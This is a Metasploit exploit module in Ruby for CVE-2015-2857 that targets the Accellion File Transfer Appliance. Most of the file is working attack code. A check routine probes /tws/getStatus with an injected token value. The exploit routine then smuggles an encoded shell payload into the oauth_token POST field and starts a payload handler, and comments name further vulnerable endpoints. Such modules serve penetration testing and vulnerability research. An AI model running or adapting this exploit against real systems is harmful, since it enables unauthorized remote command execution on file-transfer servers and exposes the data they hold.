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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Accellion FTA getStatus verify_oauth_token Command Execution',
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      'Description'    => %q{
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          This module exploits a metacharacter shell injection vulnerability in the Accellion
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        File Transfer appliance. This vulnerability is triggered when a user-provided
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        'oauth_token' is passed into a system() call within a mod_perl handler. This
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        module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include
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        '/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on
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        version FTA_9_11_200, but may apply to previous versions as well. This issue was
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        fixed in software update FTA_9_11_210.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['URL', 'http://r-7.co/R7-2015-08'],
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          ['CVE', '2015-2857']
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        ],
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      'Platform'       => ['unix'],
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      'Arch'           => ARCH_CMD,
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'       => 1024,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2015-07-10'
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    ))
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    register_options(
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      [
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        Opt::RPORT(443),
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        OptBool.new('SSL', [true, 'Use SSL', true])
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      ])
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  end
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  def check
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    uri = '/tws/getStatus'
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => uri,
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      'vars_post' => {
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        'transaction_id' => rand(0x100000000),
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        'oauth_token'    => 'invalid'
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    }})
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    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/
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      return Exploit::CheckCode::Safe
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    end
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => uri,
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      'vars_post' => {
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        'transaction_id' => rand(0x100000000),
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        'oauth_token'    => "';echo '"
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    }})
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    unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
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      return Exploit::CheckCode::Safe
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    end
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    Msf::Exploit::CheckCode::Vulnerable
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  end
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  def exploit
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    # The token is embedded into a command line the following:
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    # `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
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    token = "';#{payload.encoded};echo '"
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    uri   = '/tws/getStatus'
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    # Other exploitable URLs:
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    # * /seos/find.api (works with no other changes to this module)
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    # * /seos/put.api  (requires some hoop jumping, upload)
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    # * /seos/mput.api (requires some hoop jumping, token && upload)
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    print_status("Sending request for #{uri}...")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => uri,
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      'vars_post' => {
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        'transaction_id' => rand(0x100000000),
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        'oauth_token'    => token
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    }})
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    if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/
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      print_status("Valid response received...")
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    else
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      if res
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        print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")
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      else
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        print_error("No reply received from the target")
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      end
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    end
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    handler
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  end
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end
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